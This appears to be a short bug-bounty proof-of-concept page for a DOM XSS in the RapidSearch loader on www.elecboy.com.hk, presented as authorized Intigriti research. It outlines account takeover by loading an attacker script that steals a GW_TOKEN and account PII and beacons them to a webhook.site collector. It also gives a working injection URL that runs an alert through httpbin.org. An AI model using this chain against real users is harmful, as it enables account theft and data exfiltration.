ElecBoy — RapidSearch rs_debug_domain DOM XSS → ATO

Authorized security research only. A.S. Watson / Intigriti, scope *.elecboy.com.hk.

How it works

1. RapidSearch's production loader reads ?rs_debug=script&rs_debug_domain=… from the URL.
2. It creates <script src="https://<domain>/resultpage.js?shop=…"> — no admin check, no allowlist.
3. Our resultpage.js executes as www.elecboy.com.hk, reads the Growave GW_TOKEN from localStorage, session-rides to /account for victim PII, and beacons everything to your webhook.site collector.

Generate PoC link

Manual test (alert only, no exfil)

https://www.elecboy.com.hk/?rs_debug=script&rs_debug_domain=httpbin.org%2Fbase64%2FYWxlcnQoZG9jdW1lbnQuZG9tYWluKQ%3D%3D%3Fx%3D